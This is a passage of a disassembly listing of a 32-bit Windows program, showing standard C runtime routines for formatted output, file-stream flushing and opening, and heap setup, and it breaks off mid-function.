; ---------------------------------------------------------------------------
loc_418200: ; CODE XREF: sub_417D2C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_418205: ; CODE XREF: sub_417D2C+4D2j
mov [ebp+var_28], 1
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_418211: ; CODE XREF: sub_417D2C+2F7j
; sub_417D2C+40Ej
or [ebp+var_4], 40h
loc_418215: ; CODE XREF: sub_417D2C+432j
mov [ebp+var_C], 0Ah
loc_41821C: ; CODE XREF: sub_417D2C+491j
; sub_417D2C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41822E
lea eax, [ebp+arg_8]
push eax
call sub_418518
pop ecx
jmp short loc_41826F
; ---------------------------------------------------------------------------
loc_41822E: ; CODE XREF: sub_417D2C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_418255
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41824A
call sub_41850B
pop ecx
movsx eax, ax
loc_418247: ; CODE XREF: sub_417D2C+527j
; sub_417D2C+539j
cdq
jmp short loc_41826F
; ---------------------------------------------------------------------------
loc_41824A: ; CODE XREF: sub_417D2C+510j
call sub_41850B
pop ecx
movzx eax, ax
jmp short loc_418247
; ---------------------------------------------------------------------------
loc_418255: ; CODE XREF: sub_417D2C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_418267
call sub_41850B
pop ecx
jmp short loc_418247
; ---------------------------------------------------------------------------
loc_418267: ; CODE XREF: sub_417D2C+531j
call sub_41850B
pop ecx
xor edx, edx
loc_41826F: ; CODE XREF: sub_417D2C+500j
; sub_417D2C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_418290
test edx, edx
jg short loc_418290
jl short loc_41827F
test eax, eax
jnb short loc_418290
loc_41827F: ; CODE XREF: sub_417D2C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_418294
; ---------------------------------------------------------------------------
loc_418290: ; CODE XREF: sub_417D2C+547j
; sub_417D2C+54Bj ...
mov esi, eax
mov edi, edx
loc_418294: ; CODE XREF: sub_417D2C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41829D
and edi, 0
loc_41829D: ; CODE XREF: sub_417D2C+56Cj
cmp [ebp+var_10], 0
jge short loc_4182AC
mov [ebp+var_10], 1
jmp short loc_4182B0
; ---------------------------------------------------------------------------
loc_4182AC: ; CODE XREF: sub_417D2C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4182B0: ; CODE XREF: sub_417D2C+57Ej
mov eax, esi
or eax, edi
jnz short loc_4182BA
and [ebp+var_1C], 0
loc_4182BA: ; CODE XREF: sub_417D2C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4182C0: ; CODE XREF: sub_417D2C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4182D0
mov eax, esi
or eax, edi
jz short loc_41830B
loc_4182D0: ; CODE XREF: sub_417D2C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_417240
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_4172C0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_418301
add ebx, [ebp+var_2C]
loc_418301: ; CODE XREF: sub_417D2C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4182C0
; ---------------------------------------------------------------------------
loc_41830B: ; CODE XREF: sub_417D2C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_418336
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_418329
test eax, eax
jnz short loc_418336
loc_418329: ; CODE XREF: sub_417D2C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_418333: ; CODE XREF: sub_417D2C+35Fj
; sub_417D2C+406j ...
mov [ebp+var_C], eax
loc_418336: ; CODE XREF: sub_417D2C+21Bj
; sub_417D2C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_418434 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41836E
test bh, 1
jz short loc_418353
mov [ebp+var_16], 2Dh
jmp short loc_418367
; ---------------------------------------------------------------------------
loc_418353: ; CODE XREF: sub_417D2C+61Fj
test bl, 1
jz short loc_41835E
mov [ebp+var_16], 2Bh
jmp short loc_418367
; ---------------------------------------------------------------------------
loc_41835E: ; CODE XREF: sub_417D2C+62Aj
test bl, 2
jz short loc_41836E
mov [ebp+var_16], 20h
loc_418367: ; CODE XREF: sub_417D2C+625j
; sub_417D2C+630j
mov [ebp+var_1C], 1
loc_41836E: ; CODE XREF: sub_417D2C+61Aj
; sub_417D2C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41838E
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184A2
add esp, 10h
loc_41838E: ; CODE XREF: sub_417D2C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4184D3
add esp, 10h
test bl, 8
jz short loc_4183C0
test bl, 4
jnz short loc_4183C0
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4184A2
add esp, 10h
loc_4183C0: ; CODE XREF: sub_417D2C+67Bj
; sub_417D2C+680j
cmp [ebp+var_24], 0
jz short loc_418407
cmp [ebp+var_C], 0
jle short loc_418407
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4183D5: ; CODE XREF: sub_417D2C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41D16F
pop ecx
test eax, eax
pop ecx
jle short loc_41841C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4184D3
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4183D5
jmp short loc_41841C
; ---------------------------------------------------------------------------
loc_418407: ; CODE XREF: sub_417D2C+698j
; sub_417D2C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4184D3
add esp, 10h
loc_41841C: ; CODE XREF: sub_417D2C+6BCj
; sub_417D2C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_418434 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184A2
add esp, 10h
loc_418434: ; CODE XREF: sub_417D2C+68j
; sub_417D2C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_417D58
loc_418445: ; CODE XREF: sub_417D2C+1Fj
; sub_417D2C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417D2C endp
; ---------------------------------------------------------------------------
off_41844D dd offset loc_417ECB ; DATA XREF: sub_417D2C+6Er
dd offset loc_417DA1 ; jump table for switch statement
dd offset loc_417DBC
dd offset loc_417E08
dd offset loc_417E3F
dd offset loc_417E47
dd offset loc_417E7C
dd offset loc_417F0F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41846D proc near ; CODE XREF: sub_417D2C+1BDp
; sub_417D2C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_418486
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_418491
; ---------------------------------------------------------------------------
loc_418486: ; CODE XREF: sub_41846D+9j
push ecx
push [ebp+arg_0]
call sub_417C17
pop ecx
pop ecx
loc_418491: ; CODE XREF: sub_41846D+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41849E
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41849E: ; CODE XREF: sub_41846D+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41846D endp
; =============== S U B R O U T I N E =======================================
sub_4184A2 proc near ; CODE XREF: sub_417D2C+65Ap
; sub_417D2C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4184D0
mov esi, [esp+8+arg_C]
loc_4184B3: ; CODE XREF: sub_4184A2+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41846D
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4184D0
mov eax, edi
dec edi
test eax, eax
jg short loc_4184B3
loc_4184D0: ; CODE XREF: sub_4184A2+Bj
; sub_4184A2+25j
pop edi
pop esi
retn
sub_4184A2 endp
; =============== S U B R O U T I N E =======================================
sub_4184D3 proc near ; CODE XREF: sub_417D2C+670p
; sub_417D2C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_418507
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4184E9: ; CODE XREF: sub_4184D3+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41846D
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_418507
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4184E9
loc_418507: ; CODE XREF: sub_4184D3+Cj
; sub_4184D3+2Bj
pop edi
pop esi
pop ebx
retn
sub_4184D3 endp
; =============== S U B R O U T I N E =======================================
sub_41850B proc near ; CODE XREF: sub_417D2C+E5p
; sub_417D2C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41850B endp
; =============== S U B R O U T I N E =======================================
sub_418518 proc near ; CODE XREF: sub_417D2C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_418518 endp
; =============== S U B R O U T I N E =======================================
sub_418528 proc near ; CODE XREF: sub_417D2C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_418528 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418536 proc near ; CODE XREF: sub_4159B4+17p
; sub_4159B4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_418554
mov ecx, ds:off_437D50
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4185A6
; ---------------------------------------------------------------------------
loc_418554: ; CODE XREF: sub_418536+10j
mov ecx, eax
push esi
mov esi, ds:off_437D50
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_418579
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_418582
; ---------------------------------------------------------------------------
loc_418579: ; CODE XREF: sub_418536+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_418582: ; CODE XREF: sub_418536+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call loc_41D1D7
add esp, 1Ch
test eax, eax
jnz short loc_4185A2
leave
retn
; ---------------------------------------------------------------------------
loc_4185A2: ; CODE XREF: sub_418536+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4185A6: ; CODE XREF: sub_418536+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_418536 endp
; =============== S U B R O U T I N E =======================================
sub_4185AB proc near ; CODE XREF: sub_415B20+2Ap
; sub_41D53A+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, ds:dword_46A8A0
jnb loc_418645
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7A0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_418645
push edi
call sub_41D4A6
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418624
cmp edi, 1
jz short loc_4185F2
cmp edi, 2
jnz short loc_418608
loc_4185F2: ; CODE XREF: sub_4185AB+40j
push 2
call sub_41D4A6
push 1
mov ebp, eax
call sub_41D4A6
pop ecx
cmp eax, ebp
pop ecx
jz short loc_418624
loc_418608: ; CODE XREF: sub_4185AB+45j
push edi
call sub_41D4A6
pop ecx
push eax
call ds:dword_42106C ; CloseHandle
test eax, eax
jnz short loc_418624
call ds:dword_421088 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_418626
; ---------------------------------------------------------------------------
loc_418624: ; CODE XREF: sub_4185AB+3Bj
; sub_4185AB+5Bj ...
xor ebp, ebp
loc_418626: ; CODE XREF: sub_4185AB+77j
push edi
call sub_41D42C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_418641
push ebp
call sub_41C5B7
pop ecx
jmp short loc_418656
; ---------------------------------------------------------------------------
loc_418641: ; CODE XREF: sub_4185AB+8Bj
xor eax, eax
jmp short loc_418659
; ---------------------------------------------------------------------------
loc_418645: ; CODE XREF: sub_4185AB+Ej
; sub_4185AB+2Fj
and ds:dword_469478, 0
mov ds:dword_469474, 9
loc_418656: ; CODE XREF: sub_4185AB+94j
or eax, 0FFFFFFFFh
loc_418659: ; CODE XREF: sub_4185AB+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4185AB endp
; =============== S U B R O U T I N E =======================================
sub_41865E proc near ; CODE XREF: sub_415B20+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_418687
test al, 8
jz short loc_418687
push dword ptr [esi+8]
call sub_415E1D
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_418687: ; CODE XREF: sub_41865E+Aj
; sub_41865E+Ej
pop esi
retn
sub_41865E endp
; =============== S U B R O U T I N E =======================================
sub_418689 proc near ; CODE XREF: sub_418729+2Dp
; sub_418729+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41869B
push esi
call sub_418729
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41869B: ; CODE XREF: sub_418689+7j
push esi
call sub_4186C4
test eax, eax
pop ecx
jz short loc_4186AB
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186AB: ; CODE XREF: sub_418689+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_4186C0
push dword ptr [esi+10h]
call sub_41D4E3
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_4186C0: ; CODE XREF: sub_418689+26j
xor eax, eax
pop esi
retn
sub_418689 endp
; =============== S U B R O U T I N E =======================================
sub_4186C4 proc near ; CODE XREF: sub_415B20+1Ap
; seg000:00416E55p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_418711
test ax, 108h
jz short loc_418711
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_418711
push edi
push eax
push dword ptr [esi+10h]
call sub_41C40A
add esp, 0Ch
cmp eax, edi
jnz short loc_41870A
mov eax, [esi+0Ch]
test al, 80h
jz short loc_418711
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_418711
; ---------------------------------------------------------------------------
loc_41870A: ; CODE XREF: sub_4186C4+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_418711: ; CODE XREF: sub_4186C4+14j
; sub_4186C4+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4186C4 endp
; =============== S U B R O U T I N E =======================================
sub_418720 proc near ; CODE XREF: sub_41D15Bp
push 1
call sub_418729
pop ecx
retn
sub_418720 endp
; =============== S U B R O U T I N E =======================================
sub_418729 proc near ; CODE XREF: sub_418689+Ap
; sub_418720+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp ds:dword_46A780, esi
jle short loc_418787
loc_41873A: ; CODE XREF: sub_418729+5Cj
mov eax, ds:dword_469760
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41877E
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41877E
cmp [esp+0Ch+arg_0], 1
jnz short loc_418764
push eax
call sub_418689
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41877E
inc ebx
jmp short loc_41877E
; ---------------------------------------------------------------------------
loc_418764: ; CODE XREF: sub_418729+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41877E
test cl, 2
jz short loc_41877E
push eax
call sub_418689
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41877E
or edi, eax
loc_41877E: ; CODE XREF: sub_418729+1Bj
; sub_418729+23j ...
inc esi
cmp esi, ds:dword_46A780
jl short loc_41873A
loc_418787: ; CODE XREF: sub_418729+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_418792
mov eax, edi
loc_418792: ; CODE XREF: sub_418729+65j
pop edi
pop esi
pop ebx
retn
sub_418729 endp
; =============== S U B R O U T I N E =======================================
sub_418796 proc near ; CODE XREF: sub_415B76+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41D090
test eax, eax
pop ecx
jz short loc_41881F
cmp esi, offset dword_438468
jnz short loc_4187B4
xor eax, eax
jmp short loc_4187BF
; ---------------------------------------------------------------------------
loc_4187B4: ; CODE XREF: sub_418796+18j
cmp esi, offset dword_438488
jnz short loc_41881F
push 1
pop eax
loc_4187BF: ; CODE XREF: sub_418796+1Cj
inc ds:dword_469634
test word ptr [esi+0Ch], 10Ch
jnz short loc_41881F
cmp ds:dword_4694CC[eax*4], 0
push ebx
push edi
lea edi, ds:4694CCh[eax*4]
mov ebx, 1000h
jnz short loc_418805
push ebx
call sub_415DA9
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_418805
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_418812
; ---------------------------------------------------------------------------
loc_418805: ; CODE XREF: sub_418796+4Dj
; sub_418796+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_418812: ; CODE XREF: sub_418796+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41881F: ; CODE XREF: sub_418796+10j
; sub_418796+24j ...
xor eax, eax
pop esi
retn
sub_418796 endp
; =============== S U B R O U T I N E =======================================
sub_418823 proc near ; CODE XREF: sub_415B76+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41884D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41885E
push esi
call sub_4186C4
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41884D: ; CODE XREF: sub_418823+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41885E
push eax
call sub_4186C4
pop ecx
loc_41885E: ; CODE XREF: sub_418823+10j
; sub_418823+32j
pop esi
retn
sub_418823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418860 proc near ; CODE XREF: sub_415BA8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ds:dword_46963C
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_418899
cmp al, 72h
jz short loc_418892
cmp al, 77h
jnz loc_4189AD
mov ecx, 301h
jmp short loc_41889E
; ---------------------------------------------------------------------------
loc_418892: ; CODE XREF: sub_418860+21j
xor ecx, ecx
or esi, 1
jmp short loc_4188A1
; ---------------------------------------------------------------------------
loc_418899: ; CODE XREF: sub_418860+1Dj
mov ecx, 109h
loc_41889E: ; CODE XREF: sub_418860+30j
or esi, 2
loc_4188A1: ; CODE XREF: sub_418860+37j
push 1
pop edx
loc_4188A4: ; CODE XREF: sub_418860+8Bj
; sub_418860+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_418993
cmp edx, ebx
jz loc_418993
movsx eax, al
cmp eax, 54h
jg short loc_418932
jz short loc_418922
sub eax, 2Bh
jz short loc_41890C
sub eax, 19h
jz short loc_418902
sub eax, 0Eh
jz short loc_4188ED
dec eax
jnz loc_418984
cmp [ebp+var_4], ebx
jnz loc_418984
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4188A4
; ---------------------------------------------------------------------------
loc_4188ED: ; CODE XREF: sub_418860+6Fj
cmp [ebp+var_4], ebx
jnz loc_418984
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4188A4
; ---------------------------------------------------------------------------
loc_418902: ; CODE XREF: sub_418860+6Aj
test cl, 40h
jnz short loc_418984
or ecx, 40h
jmp short loc_4188A4
; ---------------------------------------------------------------------------
loc_41890C: ; CODE XREF: sub_418860+65j
test cl, 2
jnz short loc_418984
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4188A4
; ---------------------------------------------------------------------------
loc_418922: ; CODE XREF: sub_418860+60j
mov eax, 1000h
test ecx, eax
jnz short loc_418984
or ecx, eax
jmp loc_4188A4
; ---------------------------------------------------------------------------
loc_418932: ; CODE XREF: sub_418860+5Ej
sub eax, 62h
jz short loc_41897F
dec eax
jz short loc_418968
sub eax, 0Bh
jz short loc_418951
sub eax, 6
jnz short loc_418984
test ch, 0C0h
jnz short loc_418984
or ch, 40h
jmp loc_4188A4
; ---------------------------------------------------------------------------
loc_418951: ; CODE XREF: sub_418860+DDj
cmp [ebp+var_8], ebx
jnz short loc_418984
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4188A4
; ---------------------------------------------------------------------------
loc_418968: ; CODE XREF: sub_418860+D8j
cmp [ebp+var_8], ebx
jnz short loc_418984
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4188A4
; ---------------------------------------------------------------------------
loc_41897F: ; CODE XREF: sub_418860+D5j
test ch, 0C0h
jz short loc_41898B
loc_418984: ; CODE XREF: sub_418860+72j
; sub_418860+7Bj ...
xor edx, edx
jmp loc_4188A4
; ---------------------------------------------------------------------------
loc_41898B: ; CODE XREF: sub_418860+122j
or ch, 80h
jmp loc_4188A4
; ---------------------------------------------------------------------------
loc_418993: ; CODE XREF: sub_418860+4Aj
; sub_418860+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41D53A
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4189B1
loc_4189AD: ; CODE XREF: sub_418860+25j
xor eax, eax
jmp short loc_4189CB
; ---------------------------------------------------------------------------
loc_4189B1: ; CODE XREF: sub_418860+14Bj
mov eax, [ebp+arg_C]
inc ds:dword_469634
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_4189CB: ; CODE XREF: sub_418860+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_418860 endp
; =============== S U B R O U T I N E =======================================
sub_4189D0 proc near ; CODE XREF: sub_415BA8p
mov edx, ds:dword_46A780
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_418A41
mov ebx, ds:dword_469760
mov edi, ebx
loc_4189EC: ; CODE XREF: sub_4189D0+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_418A07
test byte ptr [ecx+0Ch], 83h
jz short loc_418A02
inc eax
add edi, 4
cmp eax, edx
jl short loc_4189EC
jmp short loc_418A41
; ---------------------------------------------------------------------------
loc_418A02: ; CODE XREF: sub_4189D0+26j
mov esi, [ebx+eax*4]
jmp short loc_418A2B
; ---------------------------------------------------------------------------
loc_418A07: ; CODE XREF: sub_4189D0+20j
mov edi, eax
push 20h
shl edi, 2
call sub_415DA9
pop ecx
mov ecx, ds:dword_469760
mov [edi+ecx], eax
mov eax, ds:dword_469760
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_418A41
mov esi, edi
loc_418A2B: ; CODE XREF: sub_4189D0+35j
cmp esi, ebp
jz short loc_418A41
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_418A41: ; CODE XREF: sub_4189D0+12j
; sub_4189D0+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4189D0 endp
; =============== S U B R O U T I N E =======================================
sub_418A48 proc near ; CODE XREF: sub_415DBB+1Fp
; sub_4174BF+106p ...
arg_0 = dword ptr 4
mov eax, ds:dword_4694D8
test eax, eax
jz short loc_418A60
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_418A60
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418A60: ; CODE XREF: sub_418A48+7j
; sub_418A48+12j
xor eax, eax
retn
sub_418A48 endp
; =============== S U B R O U T I N E =======================================
sub_418A63 proc near ; CODE XREF: seg000:00417B32p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_421174 ; HeapCreate
test eax, eax
mov ds:dword_46AAE0, eax
jz short loc_418A98
call sub_418A9F
test eax, eax
jnz short loc_418A9B
push ds:dword_46AAE0
call ds:dword_421170 ; HeapDestroy
loc_418A98: ; CODE XREF: sub_418A63+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418A9B: ; CODE XREF: sub_418A63+27j
push 1
pop eax
retn
sub_418A63 endp
; =============== S U B R O U T I N E =======================================
sub_418A9F proc near ; CODE XREF: sub_418A63+20p
push 140h
push 0
push ds:dword_46AAE0
call ds:dword_42114C ; RtlAllocateHeap
test eax, eax
mov ds:dword_46AADC, eax
jnz short loc_418ABC
retn
; ---------------------------------------------------------------------------
loc_418ABC: ; CODE XREF: sub_418A9F+1Aj
and ds:dword_46AAD4, 0
and ds:dword_46AAD8, 0
push 1
mov ds:dword_46AAD0, eax
mov ds:dword_46AAC8, 10h
pop eax
retn
sub_418A9F endp
; =============== S U B R O U T I N E =======================================
sub_418ADD proc near ; CODE XREF: sub_415E1D+Ap
; sub_4174BF+3Dp ...
arg_0 = dword ptr 4
mov eax, ds:dword_46AAD8
lea ecx, [eax+eax*4]
mov eax, ds:dword_46AADC
lea ecx, [eax+ecx*4]
loc_418AED: ; CODE XREF: sub_418ADD+26j
cmp eax, ecx
jnb short loc_418B05
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_418B07
add eax, 14h
jmp short loc_418AED
; ---------------------------------------------------------------------------
loc_418B05: ; CODE XREF: sub_418ADD+12j
xor eax, eax
locret_418B07: ; CODE XREF: sub_418ADD+21j
retn
sub_418ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B08 proc near ; CODE XREF: sub_415E1D+16p
; sub_4174BF+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
